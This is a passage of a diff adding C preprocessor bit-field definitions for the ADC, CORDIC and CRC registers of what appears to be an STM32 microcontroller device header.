7, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ7_0 (0x1UL << ADC_CHSELR_SQ7_Pos) /*!< 0x01000000 */ +#define ADC_CHSELR_SQ7_1 (0x2UL << ADC_CHSELR_SQ7_Pos) /*!< 0x02000000 */ +#define ADC_CHSELR_SQ7_2 (0x4UL << ADC_CHSELR_SQ7_Pos) /*!< 0x04000000 */ +#define ADC_CHSELR_SQ7_3 (0x8UL << ADC_CHSELR_SQ7_Pos) /*!< 0x08000000 */ + +#define ADC_CHSELR_SQ8_Pos (28UL) +#define ADC_CHSELR_SQ8_Msk (0xFUL << ADC_CHSELR_SQ8_Pos) /*!< 0xF0000000 */ +#define ADC_CHSELR_SQ8 ADC_CHSELR_SQ8_Msk /*!< ADC group regular sequencer rank 8, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ8_0 (0x1UL << ADC_CHSELR_SQ8_Pos) /*!< 0x10000000 */ +#define ADC_CHSELR_SQ8_1 (0x2UL << ADC_CHSELR_SQ8_Pos) /*!< 0x20000000 */ +#define ADC_CHSELR_SQ8_2 (0x4UL << ADC_CHSELR_SQ8_Pos) /*!< 0x40000000 */ +#define ADC_CHSELR_SQ8_3 (0x8UL << ADC_CHSELR_SQ8_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD3TR register *******************/ +#define ADC_AWD3TR_LT3_Pos (0UL) +#define ADC_AWD3TR_LT3_Msk (0xFFFUL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000FFF */ +#define ADC_AWD3TR_LT3 ADC_AWD3TR_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ +#define ADC_AWD3TR_LT3_0 (0x001UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000001 */ +#define ADC_AWD3TR_LT3_1 (0x002UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000002 */ +#define ADC_AWD3TR_LT3_2 (0x004UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000004 */ +#define ADC_AWD3TR_LT3_3 (0x008UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000008 */ +#define ADC_AWD3TR_LT3_4 (0x010UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000010 */ +#define ADC_AWD3TR_LT3_5 (0x020UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000020 */ +#define ADC_AWD3TR_LT3_6 (0x040UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000040 */ +#define ADC_AWD3TR_LT3_7 (0x080UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000080 */ +#define ADC_AWD3TR_LT3_8 (0x100UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000100 */ +#define ADC_AWD3TR_LT3_9 (0x200UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000200 */ +#define ADC_AWD3TR_LT3_10 (0x400UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000400 */ +#define ADC_AWD3TR_LT3_11 (0x800UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000800 */ + +#define ADC_AWD3TR_HT3_Pos (16UL) +#define ADC_AWD3TR_HT3_Msk (0xFFFUL << ADC_AWD3TR_HT3_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD3TR_HT3 ADC_AWD3TR_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ +#define ADC_AWD3TR_HT3_0 (0x001UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00010000 */ +#define ADC_AWD3TR_HT3_1 (0x002UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00020000 */ +#define ADC_AWD3TR_HT3_2 (0x004UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00040000 */ +#define ADC_AWD3TR_HT3_3 (0x008UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00080000 */ +#define ADC_AWD3TR_HT3_4 (0x010UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00100000 */ +#define ADC_AWD3TR_HT3_5 (0x020UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00200000 */ +#define ADC_AWD3TR_HT3_6 (0x040UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00400000 */ +#define ADC_AWD3TR_HT3_7 (0x080UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00800000 */ +#define ADC_AWD3TR_HT3_8 (0x100UL << ADC_AWD3TR_HT3_Pos) /*!< 0x01000000 */ +#define ADC_AWD3TR_HT3_9 (0x200UL << ADC_AWD3TR_HT3_Pos) /*!< 0x02000000 */ +#define ADC_AWD3TR_HT3_10 (0x400UL << ADC_AWD3TR_HT3_Pos) /*!< 0x04000000 */ +#define ADC_AWD3TR_HT3_11 (0x800UL << ADC_AWD3TR_HT3_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWD3CR register ********************/ +#define ADC_AWD3CR_AWD3CH_Pos (0UL) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD3CH_19 (0x80000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD3CR_AWD2CH_20 (0x100000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD3CR_AWD2CH_21 (0x200000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD3CR_AWD2CH_22 (0x400000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD3CR_AWD2CH_23 (0x800000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_DIFSEL register ********************/ +#define ADC_DIFSEL_DIFSEL_Pos (0UL) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC differential modes for channels 1 to 18 */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ********************/ +#define ADC_CALFACT_I_APB_ADDR_Pos (0UL) +#define ADC_CALFACT_I_APB_ADDR_Msk (0xFFUL << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x000000FF */ +#define ADC_CALFACT_I_APB_ADDR ADC_CALFACT_I_APB_ADDR_Msk /*!< ADC calibration factors in single-ended mode */ +#define ADC_CALFACT_I_APB_ADDR_0 (0x001U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_I_APB_ADDR_1 (0x002U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_I_APB_ADDR_2 (0x004U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_I_APB_ADDR_3 (0x008U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_I_APB_ADDR_4 (0x010U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_I_APB_ADDR_5 (0x020U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_I_APB_ADDR_6 (0x040U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT_I_APB_ADDR_7 (0x080U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000080 */ + +#define ADC_CALFACT_I_APB_DATA_Pos (08UL) +#define ADC_CALFACT_I_APB_DATA_Msk (0xFFUL << ADC_CALFACT_I_APB_DATA_Pos) /*!< 0x0000FF00 */ +#define ADC_CALFACT_I_APB_DATA ADC_CALFACT_I_APB_DATA_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_APB_DATA_0 (0x001U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT_APB_DATA_1 (0x002U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT_APB_DATA_2 (0x004U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT_APB_DATA_3 (0x008U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT_APB_DATA_4 (0x010U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT_APB_DATA_5 (0x020U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT_APB_DATA_6 (0x040U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT_APB_DATA_7 (0x080U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00008000 */ + +#define ADC_CALFACT_VALIDITY_Pos (16UL) +#define ADC_CALFACT_VALIDITY_Msk (0x1UL << ADC_CALFACT_VALIDITY_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_VALIDITY ADC_CALFACT_VALIDITY_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_LATCH_COEF_Pos (24UL) +#define ADC_CALFACT_LATCH_COEF_Msk (0x1UL << ADC_CALFACT_LATCH_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_LATCH_COEF ADC_CALFACT_LATCH_COEF_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_CAPTURE_COEF_Pos (25UL) +#define ADC_CALFACT_CAPTURE_COEF_Msk (0x1UL << ADC_CALFACT_CAPTURE_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_CAPTURE_COEF ADC_CALFACT_CAPTURE_COEF_Msk /*!< ADC calibration factors in differential mode */ + +#define ADC4_CALFACT_CALFACT_Pos (0UL) +#define ADC4_CALFACT_CALFACT_Msk (0x7FUL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x0000007F */ +#define ADC4_CALFACT_CALFACT ADC4_CALFACT_CALFACT_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC4_CALFACT_CALFACT_0 (0x01UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC4_CALFACT_CALFACT_1 (0x02UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC4_CALFACT_CALFACT_2 (0x04UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC4_CALFACT_CALFACT_3 (0x08UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC4_CALFACT_CALFACT_4 (0x10UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC4_CALFACT_CALFACT_5 (0x20UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC4_CALFACT_CALFACT_6 (0x40UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000040 */ + +/******************** Bit definition for ADC_CALFACT2 register ********************/ +#define ADC_CALFACT2_CALFACT_Pos (0UL) +#define ADC_CALFACT2_CALFACT_Msk (0xFFFFFFFFUL << ADC_CALFACT2_CALFACT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CALFACT2_CALFACT ADC_CALFACT2_CALFACT_Msk /*!< ADC Linearity calibration factors */ +#define ADC_CALFACT2_CALFACT_0 (0x00000001UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT2_CALFACT_1 (0x00000002UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT2_CALFACT_2 (0x00000004UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT2_CALFACT_3 (0x00000008UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT2_CALFACT_4 (0x00000010UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT2_CALFACT_5 (0x00000020UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT2_CALFACT_6 (0x00000040UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT2_CALFACT_7 (0x00000080UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000080 */ +#define ADC_CALFACT2_CALFACT_8 (0x00000100UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT2_CALFACT_9 (0x00000200UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT2_CALFACT_10 (0x00000400UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT2_CALFACT_11 (0x00000800UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT2_CALFACT_12 (0x00001000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT2_CALFACT_13 (0x00002000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT2_CALFACT_14 (0x00004000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT2_CALFACT_15 (0x00008000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00008000 */ +#define ADC_CALFACT2_CALFACT_16 (0x00010000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT2_CALFACT_17 (0x00020000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT2_CALFACT_18 (0x00040000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT2_CALFACT_19 (0x00080000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT2_CALFACT_20 (0x00100000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT2_CALFACT_21 (0x00200000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT2_CALFACT_22 (0x00400000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00400000 */ +#define ADC_CALFACT2_CALFACT_23 (0x00800000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00800000 */ +#define ADC_CALFACT2_CALFACT_24 (0x01000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT2_CALFACT_25 (0x02000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x02000000 */ +#define ADC_CALFACT2_CALFACT_26 (0x04000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x04000000 */ +#define ADC_CALFACT2_CALFACT_27 (0x08000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x08000000 */ +#define ADC_CALFACT2_CALFACT_28 (0x10000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x10000000 */ +#define ADC_CALFACT2_CALFACT_29 (0x20000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x20000000 */ +#define ADC_CALFACT2_CALFACT_30 (0x40000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x40000000 */ +#define ADC_CALFACT2_CALFACT_31 (0x80000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OR register ********************/ +#define ADC_OR_CHN0SEL_Pos (0UL) +#define ADC_OR_CHN0SEL_Msk (0x1UL << ADC_OR_CHN0SEL_Pos) /*!< 0x00000001 */ +#define ADC_OR_CHN0SEL ADC_OR_CHN0SEL_Msk /*!< ADC Channel 0 selection */ + +/************************* ADC Common registers *****************************/ + +#define ADC_CCR_PRESC_Pos (18UL) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC prescaler */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22UL) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< VREFINT enable */ +#define ADC_CCR_VSENSEEN_Pos (23UL) +#define ADC_CCR_VSENSEEN_Msk (0x1UL << ADC_CCR_VSENSEEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_VSENSEEN ADC_CCR_VSENSEEN_Msk /*!< Temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24UL) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< VBAT enable */ +#define ADC_CCR_LFMEN_Pos (25UL) +#define ADC_CCR_LFMEN_Msk (0x1UL << ADC_CCR_LFMEN_Pos) /*!< 0x02000000 */ +#define ADC_CCR_LFMEN ADC_CCR_LFMEN_Msk /*!< Low Frequency Mode Enable, specific ADC4*/ +#define ADC_CCR_VDDCOREN_Pos (26UL) +#define ADC_CCR_VDDCOREN_Msk (0x1UL << ADC_CCR_VDDCOREN_Pos) /*!< 0x04000000 */ +#define ADC_CCR_VDDCOREN ADC_CCR_VDDCOREN_Msk /*!< VDDCode enable */ + + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0UL) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4UL) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8UL) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16UL) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17UL) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18UL) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19UL) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20UL) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21UL) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22UL) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31UL) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0UL) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0UL) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0UL) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0UL) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0UL) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3UL) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5UL) 